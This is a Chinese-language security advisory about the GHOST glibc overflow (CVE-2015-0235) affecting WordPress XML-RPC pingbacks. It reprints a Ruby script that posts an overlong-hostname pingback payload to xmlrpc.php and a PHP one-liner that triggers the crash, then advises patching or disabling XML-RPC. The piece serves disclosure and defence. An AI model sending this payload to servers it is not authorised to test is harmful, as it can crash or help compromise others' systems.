安全脉搏之前发布过《CVE-2015-0235:Linux Glibc幽灵漏洞允许黑客远程获取系统权限》《 CVE 2015-0235:Ghost glibc 缓存区溢出漏洞分析》详细介绍了所谓的幽灵Ghost漏洞CVE-2015-0235。
除了在clockdiff,procmail,pppd,Exim mail server等应用程序上发现了漏洞,我们发现大量的php应用程序也受到了影响,很多都使用了gethostbyname()函数。
比如著名的WordPress程序里的 wp_http_validate_url() 函数用来验证pingback回来的url,里面就使用了gethostbyname()函数,因此也受到幽灵漏洞的影响!
攻击者能够通过插入恶意的URL来触发这个缓冲区溢出漏洞,如果利用成功,就可以获取到服务器的权限。
spiderlabs发布了一个ruby测试脚本
#
# --[ Trustwave SpiderLabs Research Team ]--
# Ref: http://blog.spiderlabs.com/2015/01/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235.html
#
require "net/http"
require "uri"
if ARGV.count != 2
puts "Usage: #{ARGV[0]} [Target URL] [count]"
exit
end
matched = ARGV[0].match(/(?<domain>[^\/]*)(?<path>\/.*)(\/xmlrpc.php)?/)
uri = URI.parse("http://#{matched[:domain]}")
ghost_host = "0"*ARGV[1].to_i
# Set up POST request
payload = <<_EOF_
<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params><param><value>
<string>http://#{ghost_host}/index.php</string>
</value></param>
<param><value>
<string>http://#{ghost_host}/index.php</string>
</value></param>
</params>
</methodCall>
_EOF_
begin
Net::HTTP.start(uri.host, uri.port) do |http|
response = http.post("#{matched[:path]}/xmlrpc.php", payload)
if response.code == "500"
puts "Vulnerable"
else
puts "Looks like you're safe, for today"
end
end
rescue EOFError
puts "Vulnerable"
end
更简单的可以直接用php如下命令测试:
php -r '$e="0";for($i=0;$i<2500;$i++){$e="0$e";} gethostbyname($e);'
Segmentation fault
如果返回Segmentation fault,说明存在漏洞
所以,如果你的服务器用的是Centos/RHEL/Fedora 5,6,7或者一些版本的Ubuntu ,建议各位站长,赶紧更新系统补丁或者使用WordPress的先禁用XML-RPC。
其他类似WordPress的WEB程序也有可能受到Ghost漏洞影响。
【原文:critical-ghost-vulnerability-released && ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235 上头欢乐送 翻译发布】
本文作者:上头欢乐送
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/4469.html
必填 您当前尚未登录。 登录? 注册
必填(保密)